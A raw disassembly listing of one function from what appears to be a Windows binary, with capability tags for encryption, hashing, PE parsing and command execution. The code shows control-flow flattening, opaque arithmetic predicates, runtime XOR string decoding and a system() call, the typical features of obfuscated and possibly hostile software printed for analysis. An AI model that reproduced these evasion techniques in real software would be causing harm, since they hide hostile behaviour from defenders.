Function at 0x14011061f
Capabilities:
Authenticate hmac
Encrypt data using chaskey
Encrypt data using speck
Execute command
Hash data using murmur3
Parse pe header
Terminate process

Disassembly:
push rax
pushf
mov eax, 0xead97be0
pushf
not eax
add eax, 0xb0a330ab
xor eax, 0xe1342002
rol eax, 0xf8
popf
pushf
not eax
add eax, 0xab21c8f6
xor eax, 0xeaadc18b
rol eax, 0x48
popf
pushf
not eax
add eax, 0xd3830849
xor eax, 0x82781e40
rol eax, 0xbd
popf
cmp eax, 0x63
jne 0x14011066f
popf
pop rax
jmp 0x1401155b1
cmp eax, 0x48
jne 0x14011067e
popf
pop rax
jmp 0x140114877
cmp eax, 0x3f
jne 0x14011068d
popf
pop rax
jmp 0x14011419a
cmp eax, 1
jne 0x14011069c
popf
pop rax
jmp 0x140110ef2
cmp eax, 0x4a
jne 0x1401106ab
popf
pop rax
jmp 0x1401149c4
cmp eax, 0x78
jne 0x1401106ba
popf
pop rax
jmp 0x140116421
cmp eax, 0x80
jne 0x1401106c9
popf
pop rax
jmp 0x1401169ce
cmp eax, 0x6e
jne 0x1401106d8
popf
pop rax
jmp 0x140115cc5
cmp eax, 0x40
jne 0x1401106e7
popf
pop rax
jmp 0x140114204
cmp eax, 0x7d
jne 0x1401106f6
popf
pop rax
jmp 0x14011675b
cmp eax, 0x2a
jne 0x140110705
popf
pop rax
jmp 0x140113349
cmp eax, 0x71
jne 0x140110714
popf
pop rax
jmp 0x140115eb3
cmp eax, 0x1c
jne 0x140110723
popf
pop rax
jmp 0x140112575
cmp eax, 0x2e
jne 0x140110732
popf
pop rax
jmp 0x140113512
cmp eax, 0x4c
jne 0x140110741
popf
pop rax
jmp 0x140114b1a
cmp eax, 0x2b
jne 0x140110750
popf
pop rax
jmp 0x1401133dc
cmp eax, 0x1b
jne 0x14011075f
popf
pop rax
jmp 0x14011231f
cmp eax, 0x6a
jne 0x14011076e
popf
pop rax
jmp 0x1401159fe
cmp eax, 0x23
jne 0x14011077d
popf
pop rax
jmp 0x140112e6c
cmp eax, 0x5b
jne 0x14011078c
popf
pop rax
jmp 0x140115147
cmp eax, 0x43
jne 0x14011079b
popf
pop rax
jmp 0x1401143f1
cmp eax, 0x13
jne 0x1401107aa
popf
pop rax
jmp 0x140111d32
cmp eax, 0x33
jne 0x1401107b9
popf
pop rax
jmp 0x1401138d7
cmp eax, 0x24
jne 0x1401107c8
popf
pop rax
jmp 0x140112eb7
cmp eax, 0x1e
jne 0x1401107d7
popf
pop rax
jmp 0x140112666
cmp eax, 0xc
jne 0x1401107e6
popf
pop rax
jmp 0x14011175f
cmp eax, 0x26
jne 0x1401107f5
popf
pop rax
jmp 0x140112fda
cmp eax, 0x27
jne 0x140110804
popf
pop rax
jmp 0x140113178
cmp eax, 0x30
jne 0x140110813
popf
pop rax
jmp 0x14011363c
cmp eax, 0x10
jne 0x140110822
popf
pop rax
jmp 0x140111abf
cmp eax, 0x37
jne 0x140110831
popf
pop rax
jmp 0x140113bc3
cmp eax, 9
jne 0x140110840
popf
pop rax
jmp 0x140111543
cmp eax, 0x39
jne 0x14011084f
popf
pop rax
jmp 0x140113ce8
cmp eax, 0x16
jne 0x14011085e
popf
pop rax
jmp 0x140111f30
cmp eax, 0x7e
jne 0x14011086d
popf
pop rax
jmp 0x140116804
cmp eax, 0x4b
jne 0x14011087c
popf
pop rax
jmp 0x140114aaf
cmp eax, 0x36
jne 0x14011088b
popf
pop rax
jmp 0x140113b1a
cmp eax, 0x14
jne 0x14011089a
popf
pop rax
jmp 0x140111dda
cmp eax, 0x72
jne 0x1401108a9
popf
pop rax
jmp 0x140115f6f
cmp eax, 0x7f
jne 0x1401108b8
popf
pop rax
jmp 0x140116984
cmp eax, 0x69
jne 0x1401108c7
popf
pop rax
jmp 0x140115994
cmp eax, 0x47
jne 0x1401108d6
popf
pop rax
jmp 0x14011476b
cmp eax, 0x51
jne 0x1401108e5
popf
pop rax
jmp 0x140114cf9
cmp eax, 0x11
jne 0x1401108f4
popf
pop rax
jmp 0x140111b3c
cmp eax, 0x35
jne 0x140110903
popf
pop rax
jmp 0x1401139e1
cmp eax, 0x68
jne 0x140110912
popf
pop rax
jmp 0x14011583a
cmp eax, 0x7a
jne 0x140110921
popf
pop rax
jmp 0x1401165b1
cmp eax, 0x6b
jne 0x140110930
popf
pop rax
jmp 0x140115ae5
cmp eax, 0x38
jne 0x14011093f
popf
pop rax
jmp 0x140113c79
cmp eax, 0x64
jne 0x14011094e
popf
pop rax
jmp 0x1401155fe
cmp eax, 0x5c
jne 0x14011095d
popf
pop rax
jmp 0x14011520d
cmp eax, 0x15
jne 0x14011096c
popf
pop rax
jmp 0x140111e35
cmp eax, 5
jne 0x14011097b
popf
pop rax
jmp 0x140111271
cmp eax, 6
jne 0x14011098a
popf
pop rax
jmp 0x14011132a
cmp eax, 0x5a
jne 0x140110999
popf
pop rax
jmp 0x1401150e8
cmp eax, 0x49
jne 0x1401109a8
popf
pop rax
jmp 0x140114913
cmp eax, 0x1f
jne 0x1401109b7
popf
pop rax
jmp 0x140112a04
cmp eax, 4
jne 0x1401109c6
popf
pop rax
jmp 0x140111152
cmp eax, 0x77
jne 0x1401109d5
popf
pop rax
jmp 0x14011637c
cmp eax, 0x4d
jne 0x1401109e4
popf
pop rax
jmp 0x140114b53
cmp eax, 0x55
jne 0x1401109f3
popf
pop rax
jmp 0x140114e64
cmp eax, 0x45
jne 0x140110a02
popf
pop rax
jmp 0x140114633
cmp eax, 0x2c
jne 0x140110a11
popf
pop rax
jmp 0x14011347c
cmp eax, 0x5f
jne 0x140110a20
popf
pop rax
jmp 0x1401153a8
cmp eax, 0x19
jne 0x140110a2f
popf
pop rax
jmp 0x140112193
cmp eax, 0x1d
jne 0x140110a3e
popf
pop rax
jmp 0x1401125c8
cmp eax, 0x61
jne 0x140110a4d
popf
pop rax
jmp 0x140115489
cmp eax, 0x53
jne 0x140110a5c
popf
pop rax
jmp 0x140114db0
cmp eax, 0x4f
jne 0x140110a6b
popf
pop rax
jmp 0x140114c1d
cmp eax, 0x6c
jne 0x140110a7a
popf
pop rax
jmp 0x140115b55
cmp eax, 7
jne 0x140110a89
popf
pop rax
jmp 0x140111369
cmp eax, 0x20
jne 0x140110a98
popf
pop rax
jmp 0x140112a62
cmp eax, 0x56
jne 0x140110aa7
popf
pop rax
jmp 0x140114efa
cmp eax, 0x7c
jne 0x140110ab6
popf
pop rax
jmp 0x1401166d8
cmp eax, 0xd
jne 0x140110ac5
popf
pop rax
jmp 0x140111821
cmp eax, 0xa
jne 0x140110ad4
popf
pop rax
jmp 0x14011161f
cmp eax, 0x18
jne 0x140110ae3
popf
pop rax
jmp 0x140112114
cmp eax, 0x28
jne 0x140110af2
popf
pop rax
jmp 0x1401131f7
cmp eax, 0x22
jne 0x140110b01
popf
pop rax
jmp 0x140112b1b
cmp eax, 0x50
jne 0x140110b10
popf
pop rax
jmp 0x140114c55
cmp eax, 0x52
jne 0x140110b1f
popf
pop rax
jmp 0x140114d77
cmp eax, 0x41
jne 0x140110b2e
popf
pop rax
jmp 0x140114326
cmp eax, 0x67
jne 0x140110b3d
popf
pop rax
jmp 0x1401157a4
cmp eax, 0x70
jne 0x140110b4c
popf
pop rax
jmp 0x140115def
cmp eax, 0x29
jne 0x140110b5b
popf
pop rax
jmp 0x140113260
cmp eax, 0x3e
jne 0x140110b6a
popf
pop rax
jmp 0x14011413c
cmp eax, 0
jne 0x140110b79
popf
pop rax
jmp 0x140110dfe
cmp eax, 0x4e
jne 0x140110b88
popf
pop rax
jmp 0x140114bb2
cmp eax, 0x31
jne 0x140110b97
popf
pop rax
jmp 0x1401136cd
cmp eax, 0x62
jne 0x140110ba6
popf
pop rax
jmp 0x140115522
cmp eax, 0x5e
jne 0x140110bb5
popf
pop rax
jmp 0x14011535b
cmp eax, 0x25
jne 0x140110bc4
popf
pop rax
jmp 0x140112f50
cmp eax, 0xf
jne 0x140110bd3
popf
pop rax
jmp 0x140111a40
cmp eax, 0x7b
jne 0x140110be2
popf
pop rax
jmp 0x140116601
cmp eax, 0x75
jne 0x140110bf1
popf
pop rax
jmp 0x140116209
cmp eax, 3
jne 0x140110c00
popf
pop rax
jmp 0x1401110f5
cmp eax, 0x6f
jne 0x140110c0f
popf
pop rax
jmp 0x140115d9d
cmp eax, 0x34
jne 0x140110c1e
popf
pop rax
jmp 0x14011391e
cmp eax, 0x54
jne 0x140110c2d
popf
pop rax
jmp 0x140114e19
cmp eax, 0x76
jne 0x140110c3c
popf
pop rax
jmp 0x140116303
cmp eax, 0xb
jne 0x140110c4b
popf
pop rax
jmp 0x140111676
cmp eax, 0x66
jne 0x140110c5a
popf
pop rax
jmp 0x1401156ee
cmp eax, 0x81
jne 0x140110c69
popf
pop rax
jmp 0x140116ab5
cmp eax, 0xe
jne 0x140110c78
popf
pop rax
jmp 0x1401118a2
cmp eax, 0x3a
jne 0x140110c87
popf
pop rax
jmp 0x140113e0a
cmp eax, 2
jne 0x140110c96
popf
pop rax
jmp 0x140110f8a
cmp eax, 0x65
jne 0x140110ca5
popf
pop rax
jmp 0x140115644
cmp eax, 0x21
jne 0x140110cb4
popf
pop rax
jmp 0x140112ae3
cmp eax, 0x79
jne 0x140110cc3
popf
pop rax
jmp 0x1401164d9
cmp eax, 0x17
jne 0x140110cd2
popf
pop rax
jmp 0x140111faf
cmp eax, 0x58
jne 0x140110ce1
popf
pop rax
jmp 0x140114ff3
cmp eax, 0x46
jne 0x140110cf0
popf
pop rax
jmp 0x140114695
cmp eax, 0x32
jne 0x140110cff
popf
pop rax
jmp 0x140113832
cmp eax, 0x6d
jne 0x140110d0e
popf
pop rax
jmp 0x140115c20
cmp eax, 0x60
jne 0x140110d1d
popf
pop rax
jmp 0x1401153ee
cmp eax, 0x42
jne 0x140110d2c
popf
pop rax
jmp 0x1401143b4
cmp eax, 8
jne 0x140110d3b
popf
pop rax
jmp 0x1401114c0
cmp eax, 0x57
jne 0x140110d4a
popf
pop rax
jmp 0x140114f58
cmp eax, 0x59
jne 0x140110d59
popf
pop rax
jmp 0x140115093
cmp eax, 0x2f
jne 0x140110d68
popf
pop rax
jmp 0x14011355d
cmp eax, 0x1a
jne 0x140110d77
popf
pop rax
jmp 0x140112210
cmp eax, 0x73
jne 0x140110d86
popf
pop rax
jmp 0x140116018
cmp eax, 0x12
jne 0x140110d95
popf
pop rax
jmp 0x140111c4b
cmp eax, 0x44
jne 0x140110da4
popf
pop rax
jmp 0x1401144a6
cmp eax, 0x3c
jne 0x140110db3
popf
pop rax
jmp 0x140113f33
cmp eax, 0x74
jne 0x140110dc2
popf
pop rax
jmp 0x1401161ad
cmp eax, 0x3b
jne 0x140110dd1
popf
pop rax
jmp 0x140113e9d
cmp eax, 0x3d
jne 0x140110de0
popf
pop rax
jmp fcn.140113fc6
cmp eax, 0x5d
jne 0x140110def
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x348]
sub rsp, 0x420
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x140083080]
xor rax, rsp
mov qword [rbp + 0x300], rax
xor edi, edi
mov dword [rbp + 0x2e0], edi
movsd xmm0, qword [0x140076d40]
movsd qword [rsp + 0x30], xmm0
mov eax, dword [0x140076d48]
mov dword [rsp + 0x38], eax
movzx eax, word [0x140076d4c]
mov word [rsp + 0x3c], ax
mov r14d, dword [reloc.WS2_32.dll_accept]
cmp byte [0x140076d4d], dil
je 0x140110eac
push rax
pushf
mov eax, 0xaf8f4cab
pushf
not eax
add eax, 0x9f60a523
xor eax, 0xdb07b932
rol eax, 0x67
popf
pushf
not eax
add eax, 0xf8e90676
xor eax, 0x8d7063db
rol eax, 0x4d
popf
jmp 0x140110660
push rax
pushf
mov eax, 0x53f7b414
pushf
not eax
add eax, 0xe514060c
xor eax, 0xa64281a7
rol eax, 0x7f
popf
pushf
not eax
add eax, 0xd7e1279e
xor eax, 0xcd982554
rol eax, 0x27
popf
pushf
not eax
add eax, 0xc546f84a
xor eax, 0xb079e790
rol eax, 0x82
popf
jmp 0x140110660
mov ecx, edi
cmp r14d, 2
jl 0x140110f57
push rax
pushf
mov eax, 0xab72c66b
pushf
not eax
add eax, 0xdc57c6cd
xor eax, 0x8a52e789
rol eax, 0x7e
popf
pushf
not eax
add eax, 0xe2591fa5
xor eax, 0xaadc30a4
rol eax, 0x74
popf
pushf
not eax
add eax, 0xa7de4b18
xor eax, 0xf6ee904b
rol eax, 0x76
popf
pushf
not eax
add eax, 0x835c0e1c
xor eax, 0x87f40991
rol eax, 0
popf
jmp 0x140110660
push rax
pushf
mov eax, 0x233f7322
pushf
not eax
add eax, 0xc1ac3a2d
xor eax, 0xdeaecbc1
rol eax, 0x31
popf
pushf
not eax
add eax, 0xa7b573c9
xor eax, 0x821ef244
rol eax, 0x66
popf
jmp 0x140110660
movdqa xmm4, xmmword [0x1400781d0]
movdqa xmm2, xmmword [0x140078130]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140078150]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400781b0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.9999999999999999O]
movd xmm0, dword [0x140076d40]
xorps xmm2, xmm0
movd dword [rsp + 0x30], xmm2
movdqa xmm3, xmmword [0x140078140]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140078150]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400781b0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.9999999999999999O]
movd xmm0, dword [rsp + 0x34]
xorps xmm2, xmm0
movd dword [rsp + 0x34], xmm2
mov ecx, 0x7c06386a
pushf
not ecx
add ecx, 0xe19455d3
xor ecx, 0xaebe3ac8
rol ecx, 0xc5
popf
pushf
not ecx
add ecx, 0xf3772ba7
xor ecx, 0x8d7237ad
rol ecx, 0xfe
popf
push rax
pushf
mov eax, 0x76554918
pushf
not eax
add eax, 0xb821de20
xor eax, 0xd3f96dd4
rol eax, 0xc0
popf
pushf
not eax
add eax, 0xaf2fa588
xor eax, 0x861234ff
rol eax, 5
popf
pushf
not eax
add eax, 0xfb062d91
xor eax, 0x9d93241b
rol eax, 0x1f
popf
jmp 0x140110660
movsxd rax, ecx
lea r8, [rsp + 0x30]
push rax
not rax
sub r8, rax
pop rax
sub r8, 1
nop dword [rax]
push rax
pushf
mov eax, 0xb005775
pushf
not eax
add eax, 0x8a097793
xor eax, 0x83be9a0b
rol eax, 0xf6
popf
pushf
not eax
add eax, 0xa12f654d
xor eax, 0xe179c34e
rol eax, 0xb6
popf
pushf
not eax
add eax, 0xa4fb554b
xor eax, 0xa0bcc2cd
rol eax, 0x76
popf
jmp 0x140110660
mov eax, 0x2488d2c8
pushf
not eax
add eax, 0x89f52e0b
xor eax, 0xf7de7c1f
rol eax, 0x6a
popf
pushf
not eax
add eax, 0x8843a422
xor eax, 0x9ef58f13
rol eax, 0x2a
popf
pushf
not eax
add eax, 0xe3e95ea4
xor eax, 0xb8dde774
rol eax, 0x1d
popf
pushf
not eax
add eax, 0xd4445d7f
xor eax, 0x9d22d56a
rol eax, 0x16
popf
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
push rax
not eax
sub edx, eax
pop rax
sub edx, 1
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
sub al, dl
add al, 0x39
xor byte [r8], al
jmp 0x1401111c7
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0xe
jl 0x140111218
push rax
pushf
mov eax, 0xd0ea0e39
pushf
not eax
add eax, 0xe4bd8423
xor eax, 0xda36075f
rol eax, 0x20
popf
pushf
not eax
add eax, 0xccd2afbf
xor eax, 0xb23b6bac
rol eax, 0xde
popf
pushf
not eax
add eax, 0xe84e5607
xor eax, 0xbc19805d
rol eax, 0x32
popf
jmp 0x140110660
push rax
pushf
mov eax, 0x8632039d
pushf
not eax
add eax, 0xcfcc3948
xor eax, 0xf301ffb2
rol eax, 0x93
popf
pushf
not eax
add eax, 0xe3c4bd1b
xor eax, 0xdcee7d69
rol eax, 0xd6
popf
pushf
not eax
add eax, 0xa0e44555
xor eax, 0xf221f2c2
rol eax, 0xb8
popf
pushf
not eax
add eax, 0xe0b96cbd
xor eax, 0xf2ffbf89
rol eax, 0xf8
popf
jmp 0x140110660
lea rdx, [rsp + 0x30]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14011950b
call fcn.14011b437
test al, al
je 0x1401112e4
push rax
pushf
mov eax, 0x351ab09c
pushf
not eax
add eax, 0xd8a408f7
xor eax, 0xe5d503eb
rol eax, 0x46
popf
pushf
not eax
add eax, 0xc1d66274
xor eax, 0x8a417df7
rol eax, 0x3f
popf
pushf
not eax
add eax, 0x953930f5
xor eax, 0xec285250
rol eax, 0x5f
popf
pushf
not eax
add eax, 0xf80efab4
xor eax, 0xe3c5be00
rol eax, 0xc0
popf
jmp 0x140110660
push rax
pushf
mov eax, 0xa44c5951
pushf
not eax
add eax, 0x91831d96
xor eax, 0x802afb50
rol eax, 6
popf
pushf
not eax
add eax, 0xcd20eca1
xor eax, 0xeafbfdd5
rol eax, 2
popf
pushf
not eax
add eax, 0x908f298f
xor eax, 0xdcdbc04d
rol eax, 0xcd
popf
jmp 0x140110660
mov byte [0x1400fef70], 1
jmp 0x14011176d
movsd xmm0, qword [str._UNN]
movsd qword [rsp + 0x30], xmm0
movzx ecx, word [0x140076d58]
mov word [rsp + 0x38], cx
movzx eax, byte [0x140076d5a]
mov byte [rsp + 0x30], 0x59
xor byte [rsp + 0x31], 0x3a
xor byte [rsp + 0x32], 0x3b
xor byte [rsp + 0x33], 0x3c
xor byte [rsp + 0x34], 0x3d
xor byte [rsp + 0x35], 0x3e
xor byte [rsp + 0x36], 0x3f
xor byte [rsp + 0x37], 0x40
xor cl, 0x41
mov byte [rsp + 0x38], cl
xor byte [rsp + 0x39], 0x42
xor al, 0x43
mov byte [rsp + 0x3a], al
lea rcx, [rsp + 0x30]
call fcn.14011fa60
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
mov rax, qword [rbx]
movsxd rcx, dword [rax + 4]
push rbx
not rbx
sub rcx, rbx
pop rbx
sub rcx, 1
mov dl, 0x68
pushf
not dl
add dl, 0x66
xor dl, 0x7c
rol dl, 0x73
popf
pushf
not dl
add dl, 0x5d
xor dl, 0xd2
rol dl, 0x62
popf
jmp 0x140111409
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
mov rcx, rbx
call fcn.14010a50e
mov eax, dword [str.zvh_q_WPR]
mov dword [rbp + 0x2e0], eax
cmp byte [reloc.WLDAP32.dll_Ordinal_60], dil
je 0x14011148d
push rax
pushf
mov eax, 0x8551331
pushf
not eax
add eax, 0xfef2a090
xor eax, 0xf14e2020
rol eax, 0xc6
popf
pushf
not eax
add eax, 0xc50b389f
xor eax, 0xd72bc0d5
rol eax, 0x5c
popf
pushf
not eax
add eax, 0x9dcfc085
xor eax, 0xd836154a
rol eax, 0x69
popf
pushf
not eax
add eax, 0x8afbbcf9
xor eax, 0xb634776e
rol eax, 0x8f
popf
jmp 0x140110660
push rax
pushf
mov eax, 0x8245889a
pushf
not eax
add eax, 0xd1e1a3a0
xor eax, 0x87331322
rol eax, 0xa0
popf
pushf
not eax
add eax, 0xb7c80f44
xor eax, 0xef15071c
rol eax, 0x90
popf
jmp 0x140110660
cmp r14d, 2
jl 0x140111510
push rax
pushf
mov eax, 0x84bc4e00
pushf
not eax
add eax, 0xd2bf2880
xor eax, 0xa16e5d27
rol eax, 0xb0
popf
pushf
not eax
add eax, 0x95e3a878
xor eax, 0xa0751879
rol eax, 0x7a
popf
pushf
not eax
add eax, 0x814886e4
xor eax, 0xb20c885e
rol eax, 9
popf
jmp 0x140110660
push rax
pushf
mov eax, 0x9c6922a8
pushf
not eax
add eax, 0xaa4d3854
xor eax, 0xf2a8a919
rol eax, 0xca
popf
pushf
not eax
add eax, 0xe28fced7
xor eax, 0xef9d02d8
rol eax, 0x83
popf
jmp 0x140110660
movdqa xmm3, xmmword [0x140078130]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400781d0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400781d0]
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x140078150]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400781b0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.9999999999999999O]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp + 0x2e0], xmm2
jmp 0x14011175f
lea r9, [rbp + 0x2e0]
mov r8d, edi
nop dword [rax]
push rax
pushf
mov eax, 0xf40043a3
pushf
not eax
add eax, 0xace271f1
xor eax, 0xf50f4d16
rol eax, 0x41
popf
pushf
not eax
add eax, 0xe715cea3
xor eax, 0xf31dae6b
rol eax, 0x19
popf
pushf
not eax
add eax, 0xa8cbf8c4
xor eax, 0x995bbd70
rol eax, 0x97
popf
jmp 0x140110660
mov eax, 0xe5aef8cd
pushf
not eax
add eax, 0x880db6c3
xor eax, 0xb4ff8e71
rol eax, 0xd3
popf
pushf
not eax
add eax, 0xffbddadc
xor eax, 0xbb00ac3b
rol eax, 0x9b
popf
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
push rax
not eax
sub edx, eax
pop rax
sub edx, 1
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140111706
push rax
pushf
mov eax, 0x867ed9e
pushf
not eax
add eax, 0x90919b79
xor eax, 0x85729378
rol eax, 0x1b
popf
pushf
not eax
add eax, 0xa350b065
xor eax, 0x92e5d60f
rol eax, 0x9d
popf
jmp 0x140110660
push rax
pushf
mov eax, 0x596b0b1d
pushf
not eax
add eax, 0xb206022c
xor eax, 0xa238cf72
rol eax, 0x27
popf
pushf
not eax
add eax, 0xaf01a96e
xor eax, 0x9681fa91
rol eax, 0xc7
popf
pushf
not eax
add eax, 0xa5455d8f
xor eax, 0xa269ca74
rol eax, 0xf5
popf
pushf
not eax
add eax, 0xc57a184b
xor eax, 0xe98805ae
rol eax, 0x6d
popf
jmp 0x140110660
lea rcx, [rbp + 0x2e0]
jmp 0x140111767
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140077028]
movups xmmword [rbp + 0x2e0], xmm0
movzx eax, byte [0x140077038]
mov byte [rbp + 0x2f0], al
mov r8d, edi
cmp r14d, 2
jl 0x1401117db
push rax
pushf
mov eax, 0xe4a43fc4
pushf
not eax
add eax, 0xc270a360
xor eax, 0xaaad67f3
rol eax, 0xca
popf
pushf
not eax
add eax, 0xcfa95c72
xor eax, 0x8b475fa6
rol eax, 0x26
popf
pushf
not eax
add eax, 0xedab0395
xor eax, 0xb971b6fe
rol eax, 0x9f
popf
jmp 0x140110660
push rax
pushf
mov eax, 0xa00008b0
pushf
not eax
add eax, 0x92cc3a7a
xor eax, 0xaf7992bd
rol eax, 0xd0
popf
pushf
not eax
add eax, 0xc999a539
xor eax, 0x80f67898
rol eax, 0x58
popf
pushf
not eax
add eax, 0xa54b4e74
xor eax, 0x89247b34
rol eax, 0x2d
popf
jmp 0x140110660
movdqa xmm5, xmmword [0x140078130]
movdqa xmm4, xmmword [0x1400781d0]
movdqa xmm6, xmmword [0x140078150]
movdqa xmm0, xmmword [str.9999999999999999O]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x2e4]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
push rax
pushf
mov eax, 0x24c56f7a
pushf
not eax
add eax, 0x8d6a0cbb
xor eax, 0x9324672e
rol eax, 0xc5
popf
pushf
not eax
add eax, 0xea82543c
xor eax, 0xdbb050a8
rol eax, 0xa3
popf
pushf
not eax
add eax, 0xf8788327
xor eax, 0xeeddcb81
rol eax, 0x49
popf
jmp 0x140110660
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1401119fa
push rax
pushf
mov eax, 0x1d218b27
pushf
not eax
add eax, 0xa8ba64ea
xor eax, 0xdc99a816
rol eax, 0x69
popf
pushf
not eax
add eax, 0x9fbeaf6d
xor eax, 0xcc140210
rol eax, 0xa0
popf
pushf
not eax
add eax, 0x9188df96
xor eax, 0x8412de98
rol eax, 0x8b
popf
pushf
not eax
add eax, 0xa289c3ab
xor eax, 0x8a65c586
rol eax, 2
popf
jmp 0x140110660
push rax
pushf
mov eax, 0x42b92460
pushf
not eax
add eax, 0xc2455c40
xor eax, 0x88321cd5
rol eax, 0xd5
popf
pushf
not eax
add eax, 0xfcd9e849
xor eax, 0xaaac5368
rol eax, 0x93
popf
pushf
not eax
add eax, 0xa5d97232
xor eax, 0x887fe37c
rol eax, 0x48
popf
jmp 0x140110660
cmp r8d, 0x11
jge 0x140111a8c
push rax
pushf
mov eax, 0x5a610232
pushf
not eax
add eax, 0x96cceb41
xor eax, 0x946fd02c
rol eax, 0xea
popf
pushf
not eax
add eax, 0x86799061
xor eax, 0xe2605174
rol eax, 0xc1
popf
pushf
not eax
add eax, 0xf3c2743a
xor eax, 0xc1d7cad0
rol eax, 0x4b
popf
jmp 0x140110660
push rax
pushf
mov eax, 0xa74bae6a
pushf
not eax
add eax, 0x867b322b
xor eax, 0xcff9e0c3
rol eax, 0x85
popf
pushf
not eax
add eax, 0xa8623c6d
xor eax, 0x8d95dc03
rol eax, 0x61
popf
jmp 0x140110660
movsxd rax, r8d
lea r9, [rbp + 0x2e0]
push rax
not rax
sub r9, rax
pop rax
sub r9, 1
nop dword [rax]
nop word [rax + rax]
push rax
pushf
mov eax, 0xb2c46527
pushf
not eax
add eax, 0x816fb58e
xor eax, 0xec8db8d3
rol eax, 0xc
popf
pushf
not eax
add eax, 0xa91595c9
xor eax, 0xb4e6a921
rol eax, 0x8f
popf
pushf
not eax
add eax, 0x8712734d
xor eax, 0xe59f7b0c
rol eax, 0xb8
popf
pushf
not eax
add eax, 0xd8886c69
xor eax, 0xbd9418b1
rol eax, 0x5b
popf
jmp 0x140110660
mov eax, 0xcbf6c567
pushf
not eax
add eax, 0xabe71e01
xor eax, 0xf623ac96
rol eax, 0xa5
popf
pushf
not eax
add eax, 0xef2aa5c7
xor eax, 0x8fbff050
rol eax, 0x32
popf
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
push rax
not eax
sub edx, eax
pop rax
sub edx, 1
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x140111bf2
push rax
pushf
mov eax, 0xa39b744a
pushf
not eax
add eax, 0xcc8ce5da
